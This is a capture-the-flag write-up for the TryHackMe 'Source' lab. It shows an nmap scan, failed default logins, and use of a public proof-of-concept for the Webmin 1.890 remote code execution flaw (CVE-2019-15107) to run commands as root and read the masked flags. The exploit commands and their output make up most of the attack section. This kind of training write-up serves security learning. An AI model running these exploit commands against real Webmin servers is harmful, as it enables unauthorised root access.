TryHackMe: Source
Howdy, fellow hackers! Welcome to my write-up for the Source room on TryHackMe. In this post, I’ll walk you through the steps I took to pwn this box and grab those sweet, sweet flags. Let’s get started!
Enumeration
Nmap Scan
First things first, let’s make our lives a little easier. I’m exporting the target IP to an environment variable so I don’t have to type it a million times.
1
export IP=10.10.178.7
With our variable set, it’s time to unleash nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -T4 -n -sC -sV -Pn -p- $IP
Starting Nmap 7.97 ( https://nmap.org ) at 2025-06-21 19:50 +0300
Nmap scan report for 10.10.178.7
Host is up (0.073s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
| 256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_ 256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.890
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.66 seconds
Our scan reveals an open door on port 10000
, where Webmin is hosting a party. Let’s see if we can crash it with a quick curl
.
1
2
3
❯ curl http://$IP:10000
<h1>Error - Document follows</h1>
<p>This web server is running in SSL mode. Try the URL <a href='https://ip-10-10-178-7.eu-west-1.compute.internal:10000/'>https://ip-10-10-178-7.eu-west-1.compute.internal:10000/</a> instead.<br></p>
Whoops, it seems the server is a bit shy and insists on using HTTPS. Fair enough! Let’s try that instead.
1
2
3
4
5
6
7
❯ curl https://$IP:10000
curl: (60) SSL certificate problem: self-signed certificate
More details here: https://curl.se/docs/sslcerts.html
curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the webpage mentioned above.
Ah, the classic self-signed certificate! curl
is being a stickler for security and refuses to connect. No worries, it’s time to fire up the good old web browser, which is a lot more forgiving about these things. I pointed my browser to https://$IP:10000
and was greeted by the Webmin login page.
Trying to Log In (or Not)
Time for the ‘ole college try’ with the most creative credentials known to humankind:
admin:admin
admin:password
Shocker, those didn’t work. On to Plan B: asking the all-knowing Google for the default password for webmin
.
Someone on the forums said this:
1
The default user name and password is that of your root user.
Interesting! But before trying to brute-force the root password, let’s check the version we’re dealing with. Our Nmap scan already gave us a huge clue:
1
|_http-server-header: MiniServ/1.890
A quick Google search for Webmin 1.890 exploit
hits the jackpot! Not only is there a nasty remote code execution vulnerability (CVE-2019-15107), but some kind soul has already written a proof-of-concept script. You love to see it! Here’s the GitHub repo for the exploit.
Let’s run the script with the id
command to check our privileges.
1
2
3
4
5
6
7
8
9
10
❯ python script.py -host $IP -port 10000 -cmd id
╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root
By: n0obit4
Github: https://github.com/n0obit4
Your password has expired, and a new one must be chosen.
uid=0(root) gid=0(root) groups=0(root)
And just like that… uid=0(root)
. We’re in! We have achieved total control without even needing a password. The power!
Gaining Flags
Now for the fun part: collecting our trophies!
User Flag
Let’s start by listing the contents of the /home
directory to find our user.
1
2
3
4
5
6
7
8
9
10
❯ python script.py -host $IP -port 10000 -cmd "ls /home"
╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root
By: n0obit4
Github: https://github.com/n0obit4
Your password has expired, and a new one must be chosen.
dark
Okay, the user is dark
. Let’s see what’s in their home directory.
1
2
3
4
5
6
7
8
9
10
11
❯ python script.py -host $IP -port 10000 -cmd "ls /home/dark"
╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root
By: n0obit4
Github: https://github.com/n0obit4
Your password has expired, and a new one must be chosen.
user.txt
webmin_1.890_all.deb
There it is, user.txt
. Let’s read it!
1
2
3
4
5
6
7
8
9
10
❯ python script.py -host $IP -port 10000 -cmd "cat /home/dark/user.txt"
╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root
By: n0obit4
Github: https://github.com/n0obit4
Your password has expired, and a new one must be chosen.
THM{*******************}
Root Flag
This one should be even easier since we’re already root.
1
2
3
4
5
6
7
8
9
10
❯ python script.py -host $IP -port 10000 -cmd "cat /root/root.txt"
╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root
By: n0obit4
Github: https://github.com/n0obit4
Your password has expired, and a new one must be chosen.
THM{*******************}
And that’s a wrap! Two flags, one simple exploit. Thank you for reading my write-up, and happy hacking